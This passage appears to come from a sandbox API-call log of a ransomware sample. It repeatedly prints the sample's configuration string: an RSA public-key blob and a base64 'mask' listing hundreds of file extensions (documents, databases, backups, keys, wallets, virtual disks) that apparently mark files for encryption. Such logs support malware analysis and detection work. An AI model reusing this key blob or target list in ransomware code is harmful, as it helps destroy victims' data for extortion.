J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.468] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.468] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.468] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCA